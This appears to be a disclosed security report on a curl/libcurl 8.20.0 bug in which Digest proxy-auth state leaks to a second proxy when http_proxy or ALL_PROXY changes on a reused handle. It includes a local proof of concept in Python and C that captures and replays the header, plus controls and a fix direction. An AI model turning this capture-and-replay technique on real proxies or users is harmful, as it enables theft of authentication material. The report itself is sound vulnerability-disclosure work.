HexBrain

curl · Report #3744543

CVE-2026-8927: env-set cross-proxy Digest auth state leak

Validstatus
mediumseverity
3upvotes
24 Jun 2026disclosed

How it was found

AI-assisted preparation note

I used AI assistance to help structure and format this report, but the technical findings, PoC, and verification results are based on local testing against curl/libcurl 8.20.0.

Summary

I found a possible incomplete-fix variant of CVE-2026-7168 in libcurl 8.20.0.

The original issue involved stale Digest proxy authentication state being sent from proxyA to proxyB when the same libcurl easy handle was reused after changing proxies. In curl 8.20.0, the explicit CURLOPT_PROXY path appears to be fixed: changing the proxy via CURLOPT_PROXY clears the old proxy Digest/auth state correctly.

However, I found that the same cleanup does not appear to happen when the effective proxy changes through environment variables such as http_proxy or ALL_PROXY.

As a result, when the same easy handle is reused:

  1. The first transfer uses proxyA from http_proxy and authenticates with HTTP Digest proxy authentication.
  2. The environment variable is changed so the next transfer uses proxyB.
  3. The same easy handle performs the second transfer.
  4. proxyB receives a Proxy-Authorization: Digest header using stale Digest state from proxyA.

This was reproduced against official curl/libcurl 8.20.0.

Affected version

Tested against official curl/libcurl 8.20.0.

The PoC confirms:

LIBCURL_RUNTIME=8.20.0
LIBCURL_HEADERS=8.20.0

Impact

A malicious second proxy can receive a Proxy-Authorization: Digest header generated from the previous proxy's Digest challenge state.

In my replay test, the header captured by proxyB was valid for proxyA and could be replayed successfully. This is the same security class as CVE-2026-7168: proxy authentication state intended for one proxy crosses a proxy boundary and is exposed to another proxy.

This can allow a malicious proxy to capture and replay Digest proxy authentication material intended for another proxy.

Technical details

The explicit proxy-change path appears to be fixed in 8.20.0.

When an application changes the proxy using CURLOPT_PROXY, the previous proxy Digest/auth state is cleared. My control test confirmed:

CURLOPT_PROXY proxyA -> CURLOPT_PROXY proxyB
Result: no stale Proxy-Authorization header sent to proxyB

The environment-derived proxy path behaves differently.

When the proxy is selected from http_proxy or ALL_PROXY, changing the environment variable from proxyA to proxyB causes the second transfer to use proxyB, but the previous Digest proxy-auth state remains associated with the reused easy handle.

Observed request received by proxyB:

GET http://example.test/protected HTTP/1.1
Host: example.test
Proxy-Authorization: Digest username="silly", realm="realmA", nonce="nonceA", uri="/protected", ...

realmA and nonceA were issued by proxyA, not proxyB.

Steps to reproduce

  1. Build curl/libcurl 8.20.0.
  2. Run the PoC below.
  3. The PoC starts two local HTTP proxy servers:
    • proxyA issues a Digest proxy-auth challenge.
    • proxyB captures the first request it receives.
  4. The client uses one reused libcurl easy handle.
  5. First transfer:
    • http_proxy=http://silly:[email protected]:<proxyA>
    • libcurl authenticates to proxyA using Digest.
  6. Second transfer:
  7. proxyB receives a stale Proxy-Authorization: Digest header using proxyA's realm/nonce.

Expected result

When the effective proxy changes from proxyA to proxyB, libcurl should clear proxy Digest/auth state before the second transfer, regardless of whether the proxy was changed via CURLOPT_PROXY or selected from environment variables.

proxyB should not receive a Proxy-Authorization: Digest header based on proxyA's challenge.

Actual result

proxyB receives:

Proxy-Authorization: Digest username="silly", realm="realmA", nonce="nonceA", ...

The captured Digest response was replayed to proxyA in my full PoC and accepted.

PoC summary:

{
  "runtime": "8.20.0",
  "headers": "8.20.0",
  "B_received_proxy_authorization": true,
  "B_digest_valid_for_proxyA": true,
  "replay_status": "HTTP/1.1 200 OK"
}

Minimal PoC

The following local-only PoC demonstrates the stale Proxy-Authorization: Digest header being sent to proxyB.

#!/usr/bin/env python3
import os
import re
import socketserver
import subprocess
import tempfile
import threading
from pathlib import Path

REALM = "realmA"
NONCE = "nonceA"

captured_by_b = {
    "raw": "",
    "proxy_authorization": ""
}

class ProxyA(socketserver.BaseRequestHandler):
    def handle(self):
        # First request: challenge with Digest proxy auth
        self.request.recv(65535).decode("iso-8859-1", errors="replace")

        resp407 = (
            "HTTP/1.1 407 Proxy Authentication Required\r\n"
            f'Proxy-Authenticate: Digest realm="{REALM}", nonce="{NONCE}", qop="auth", algorithm=MD5\r\n'
            "Content-Length: 0\r\n"
            "Connection: keep-alive\r\n"
            "\r\n"
        )
        self.request.sendall(resp407.encode("ascii"))

        # Second request: libcurl should authenticate to proxyA
        self.request.recv(65535).decode("iso-8859-1", errors="replace")

        resp200 = (
            "HTTP/1.1 200 OK\r\n"
            "Content-Length: 2\r\n"
            "Connection: close\r\n"
            "\r\n"
            "OK"
        )
        self.request.sendall(resp200.encode("ascii"))

class ProxyB(socketserver.BaseRequestHandler):
    def handle(self):
        req = self.request.recv(65535).decode("iso-8859-1", errors="replace")
        captured_by_b["raw"] = req

        m = re.search(r"^Proxy-Authorization:\s*(.*)$", req, re.I | re.M)
        if m:
            captured_by_b["proxy_authorization"] = m.group(1).strip()

        resp200 = (
            "HTTP/1.1 200 OK\r\n"
            "Content-Length: 2\r\n"
            "Connection: close\r\n"
            "\r\n"
            "OK"
        )
        self.request.sendall(resp200.encode("ascii"))

class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    allow_reuse_address = True
    daemon_threads = True

def start_server(handler):
    srv = ThreadedTCPServer(("127.0.0.1", 0), handler)
    port = srv.server_address[1]
    t = threading.Thread(target=srv.serve_forever, daemon=True)
    t.start()
    return srv, port

def build_client(tmpdir: Path):
    c_code = r'''
#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>

static size_t sink(char *ptr, size_t size, size_t nmemb, void *userdata) {
  (void)ptr;
  (void)userdata;
  return size * nmemb;
}

int main(int argc, char **argv) {
  if(argc != 3) {
    fprintf(stderr, "usage: %s <proxyA_port> <proxyB_port>\n", argv[0]);
    return 2;
  }

  const char *pa = argv[1];
  const char *pb = argv[2];

  curl_version_info_data *vi = curl_version_info(CURLVERSION_NOW);
  printf("LIBCURL_RUNTIME=%s\n", vi->version);
  printf("LIBCURL_HEADERS=%s\n", LIBCURL_VERSION);

  curl_global_init(CURL_GLOBAL_DEFAULT);

  CURL *h = curl_easy_init();
  if(!h)
    return 1;

  curl_easy_setopt(h, CURLOPT_URL, "http://example.test/protected");
  curl_easy_setopt(h, CURLOPT_WRITEFUNCTION, sink);
  curl_easy_setopt(h, CURLOPT_PROXYAUTH, CURLAUTH_DIGEST);
  curl_easy_setopt(h, CURLOPT_VERBOSE, 1L);

  char envA[256];
  char envB[256];

  snprintf(envA, sizeof(envA), "http://silly:[email protected]:%s", pa);
  snprintf(envB, sizeof(envB), "http://silly:[email protected]:%s", pb);

  /*
   * First request:
   * No CURLOPT_PROXY is set. Proxy is selected from http_proxy.
   */
  setenv("http_proxy", envA, 1);

  CURLcode r1 = curl_easy_perform(h);
  fprintf(stderr, "first perform: %d\n", (int)r1);

  /*
   * Second request:
   * Same easy handle. Effective proxy changes through http_proxy.
   */
  setenv("http_proxy", envB, 1);

  CURLcode r2 = curl_easy_perform(h);
  fprintf(stderr, "second perform: %d\n", (int)r2);

  curl_easy_cleanup(h);
  curl_global_cleanup();

  return 0;
}
'''
    src = tmpdir / "env_proxy_digest_poc.c"
    exe = tmpdir / "env_proxy_digest_poc"
    src.write_text(c_code)

    subprocess.check_call([
        "gcc",
        str(src),
        "-o",
        str(exe),
        "-lcurl"
    ])

    return exe

def main():
    proxy_a, port_a = start_server(ProxyA)
    proxy_b, port_b = start_server(ProxyB)

    with tempfile.TemporaryDirectory() as d:
        tmpdir = Path(d)
        exe = build_client(tmpdir)

        env = os.environ.copy()
        env.pop("http_proxy", None)
        env.pop("HTTP_PROXY", None)
        env.pop("all_proxy", None)
        env.pop("ALL_PROXY", None)
        env.pop("no_proxy", None)
        env.pop("NO_PROXY", None)

        p = subprocess.run(
            [str(exe), str(port_a), str(port_b)],
            env=env,
            text=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            timeout=10
        )

        print("=== client stdout ===")
        print(p.stdout)
        print("=== client stderr ===")
        print(p.stderr)

        print("=== request captured by proxyB ===")
        print(captured_by_b["raw"])

        has_stale = (
            "Proxy-Authorization: Digest" in captured_by_b["raw"]
            and f'realm="{REALM}"' in captured_by_b["raw"]
            and f'nonce="{NONCE}"' in captured_by_b["raw"]
        )

        print("B_RECEIVED_PROXY_AUTHORIZATION=", bool(captured_by_b["proxy_authorization"]))
        print("STALE_DIGEST_FROM_PROXY_A_SENT_TO_PROXY_B=", has_stale)

    proxy_a.shutdown()
    proxy_b.shutdown()

if __name__ == "__main__":
    main()

Example output on official curl/libcurl 8.20.0:

LIBCURL_RUNTIME=8.20.0
LIBCURL_HEADERS=8.20.0

B_RECEIVED_PROXY_AUTHORIZATION= True
STALE_DIGEST_FROM_PROXY_A_SENT_TO_PROXY_B= True

The request captured by proxyB contains:

Proxy-Authorization: Digest username="silly", realm="realmA", nonce="nonceA", ...

Controls tested

The following controls were tested to reduce false positives:

CaseResult
Same easy handle + env http_proxy proxyA -> proxyBVulnerable: stale Digest sent
Same easy handle + env ALL_PROXY proxyA -> proxyBVulnerable: stale Digest sent
Explicit CURLOPT_PROXY proxyA -> proxyBNot vulnerable
New easy handle for second requestNot vulnerable
curl_easy_reset() before second requestNot vulnerable
CURLOPT_PROXY = NULL before second requestNot vulnerable
proxyB has no credentialsNot vulnerable in my test
proxyB has credentials/user-only credentialsVulnerable: stale Digest state sent

Suggested fix direction

Apply the same proxy-auth cleanup used for explicit CURLOPT_PROXY changes when the effective proxy changes due to environment variable resolution.

When the resolved proxy changes between transfers on a reused easy handle, libcurl should clear/reset the previous proxy-auth state before generating a new Proxy-Authorization header, including at least:

data->state.proxydigest
data->state.authproxy

or the equivalent proxy-auth state.

Note

This report is not claiming that the explicit CURLOPT_PROXY fix is missing. I verified that the explicit CURLOPT_PROXY path is fixed in 8.20.0.

The issue is that an equivalent proxy-boundary change through environment variables such as http_proxy or ALL_PROXY still appears to leave stale Digest proxy-auth state on the reused easy handle.

Impact

A malicious second proxy can receive a Proxy-Authorization: Digest header generated from a previous proxy’s Digest challenge state. In the PoC, this captured header was valid for the original proxy and could be replayed successfully, allowing authentication material intended for proxyA to cross the proxy boundary and be exposed to proxyB. This may allow capture/replay of proxy authentication and unauthorized use of the victim’s authenticated proxy session.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original